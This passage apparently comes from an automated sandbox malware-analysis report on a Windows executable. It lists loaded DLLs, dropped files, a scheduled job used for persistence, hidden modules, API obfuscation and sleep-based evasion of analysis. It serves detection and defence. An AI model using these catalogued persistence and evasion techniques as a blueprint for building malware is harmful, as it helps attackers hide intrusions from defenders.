Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: pla.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: pdh.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: tdh.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: wevtapi.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: bitsproxy.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: olepro32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: svrapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: shunimpl.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: mscms.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: coloradapterclient.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: thumbcache.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: pla.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: pdh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: tdh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: wevtapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: olepro32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: svrapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: shunimpl.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: mscms.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: coloradapterclient.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: thumbcache.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: pla.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: pdh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: tdh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: wevtapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Static PE information: Virtual size of .text is bigger than: 0x100000
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Static file information: File size 13599640 > 1048576
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Static PE information: Raw size of .text is bigger than: 0x100000 < 0x50de00
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x1f3e00
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Static PE information: More than 200 imports for user32.dll
Source: Binary string: iassvcs.pdb source: comp.exe, 00000002.00000002.1650280495.0000000005970000.00000004.00001000.00020000.00000000.sdmp, comp.exe, 00000008.00000002.1719784982.0000000005820000.00000004.00001000.00020000.00000000.sdmp, comp.exe, 0000000A.00000002.1787365000.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, explorer.exe, 0000000C.00000002.2601488609.0000000002F52000.00000008.00000001.01000000.00000000.sdmp, explorer.exe, 0000000D.00000002.1719883725.0000000000982000.00000008.00000001.01000000.00000000.sdmp, explorer.exe, 0000000F.00000002.1788041968.0000000000242000.00000008.00000001.01000000.00000000.sdmp, cckrnaa.10.dr, pbxllkvlhugf.8.dr, djivmxg.2.dr
Source: Binary string: wntdll.pdbUGP source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1384464950.00000000065F5000.00000004.00000020.00020000.00000000.sdmp, BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1389532302.00000000073B0000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 00000002.00000002.1649593954.00000000049AB000.00000004.00000020.00020000.00000000.sdmp, comp.exe, 00000002.00000002.1649842763.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, comp.exe, 00000008.00000002.1719035494.0000000004A8C000.00000004.00000020.00020000.00000000.sdmp, comp.exe, 00000008.00000002.1719531853.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, comp.exe, 0000000A.00000002.1786914939.00000000040CD000.00000004.00000020.00020000.00000000.sdmp, comp.exe, 0000000A.00000002.1787138417.0000000004570000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2602423452.0000000005040000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2602042227.0000000004BAF000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.1720201223.0000000004EB2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.1720318364.0000000005210000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.1788501431.0000000005400000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.1788275557.0000000004F65000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1384464950.00000000065F5000.00000004.00000020.00020000.00000000.sdmp, BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1389532302.00000000073B0000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 00000002.00000002.1649593954.00000000049AB000.00000004.00000020.00020000.00000000.sdmp, comp.exe, 00000002.00000002.1649842763.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, comp.exe, 00000008.00000002.1719035494.0000000004A8C000.00000004.00000020.00020000.00000000.sdmp, comp.exe, 00000008.00000002.1719531853.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, comp.exe, 0000000A.00000002.1786914939.00000000040CD000.00000004.00000020.00020000.00000000.sdmp, comp.exe, 0000000A.00000002.1787138417.0000000004570000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2602423452.0000000005040000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2602042227.0000000004BAF000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.1720201223.0000000004EB2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.1720318364.0000000005210000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.1788501431.0000000005400000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.1788275557.0000000004F65000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: iassvcs.pdbGCTL source: comp.exe, 00000002.00000002.1650280495.0000000005970000.00000004.00001000.00020000.00000000.sdmp, comp.exe, 00000008.00000002.1719784982.0000000005820000.00000004.00001000.00020000.00000000.sdmp, comp.exe, 0000000A.00000002.1787365000.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2601488609.0000000002F52000.00000008.00000001.01000000.00000000.sdmp, explorer.exe, 0000000D.00000002.1719883725.0000000000982000.00000008.00000001.01000000.00000000.sdmp, explorer.exe, 0000000F.00000002.1788041968.0000000000242000.00000008.00000001.01000000.00000000.sdmp, cckrnaa.10.dr, pbxllkvlhugf.8.dr, djivmxg.2.dr
PE file contains sections with non-standard names
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Static PE information: section name: .didata
Source: djivmxg.2.dr Static PE information: section name: hla
Source: pbxllkvlhugf.8.dr Static PE information: section name: hla
Source: cckrnaa.10.dr Static PE information: section name: hla
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F09FB1 push ecx; ret 12_2_02F09FC4
Drops PE files
Source: C:\Windows\SysWOW64\comp.exe File created: C:\Users\user\AppData\Local\Temp\cckrnaa Jump to dropped file
Source: C:\Windows\SysWOW64\comp.exe File created: C:\Users\user\AppData\Local\Temp\djivmxg Jump to dropped file
Source: C:\Windows\SysWOW64\comp.exe File created: C:\Users\user\AppData\Local\Temp\pbxllkvlhugf Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\SysWOW64\comp.exe File created: C:\Users\user\AppData\Local\Temp\djivmxg Jump to dropped file
Source: C:\Windows\SysWOW64\comp.exe File created: C:\Users\user\AppData\Local\Temp\pbxllkvlhugf Jump to dropped file
Source: C:\Windows\SysWOW64\comp.exe File created: C:\Users\user\AppData\Local\Temp\cckrnaa Jump to dropped file
Creates job files (autostart)
Source: C:\Windows\SysWOW64\comp.exe File created: C:\Windows\Tasks\ServiceHub Controller.job Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Found hidden mapped module (file has been removed from disk)
Source: C:\Windows\SysWOW64\comp.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\DJIVMXG
Source: C:\Windows\SysWOW64\comp.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\PBXLLKVLHUGF
Source: C:\Windows\SysWOW64\comp.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\CCKRNAA
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F090DD GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 12_2_02F090DD
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe API/Special instruction interceptor: Address: 6CDB7C44
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe API/Special instruction interceptor: Address: 6CDB7945
Source: C:\Windows\SysWOW64\comp.exe API/Special instruction interceptor: Address: 6CDB3B54
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe API/Special instruction interceptor: Address: 6CDB7C44
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe API/Special instruction interceptor: Address: 6CDB7945
Source: C:\Windows\SysWOW64\explorer.exe API/Special instruction interceptor: Address: B7A317
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F57E2D rdtsc 12_2_02F57E2D
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\explorer.exe Thread delayed: delay time: 180000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\explorer.exe Window / User API: threadDelayed 3672 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Window / User API: threadDelayed 5915 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\SysWOW64\comp.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\cckrnaa Jump to dropped file
Source: C:\Windows\SysWOW64\comp.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\djivmxg Jump to dropped file
Source: C:\Windows\SysWOW64\comp.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\pbxllkvlhugf Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\explorer.exe TID: 2968 Thread sleep count: 3672 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2968 Thread sleep time: -110160000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2788 Thread sleep time: -540000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2968 Thread sleep count: 5915 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2968 Thread sleep time: -177450000s >= -30000s Jump to behavior
Queries keyboard layouts
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809 Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809 Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809 Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809 Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809 Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F1ED13 FindFirstFileExW, 12_2_02F1ED13
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02EE93D0 Sleep,GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,GetVersionExW, 12_2_02EE93D0
Source: C:\Windows\SysWOW64\explorer.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe File opened: C:\Users\user\AppData\Local\Microsoft\Windows Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe File opened: C:\Users\user\AppData\Local Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe File opened: C:\Users\user\AppData\Local\Microsoft\Windows\History\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe File opened: C:\Users\user\AppData\Local\Microsoft Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe File opened: C:\Users\user Jump to behavior
Source: explorer.exe, 0000000F.00000002.1788401445.0000000005310000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: noreply@vmware.com0
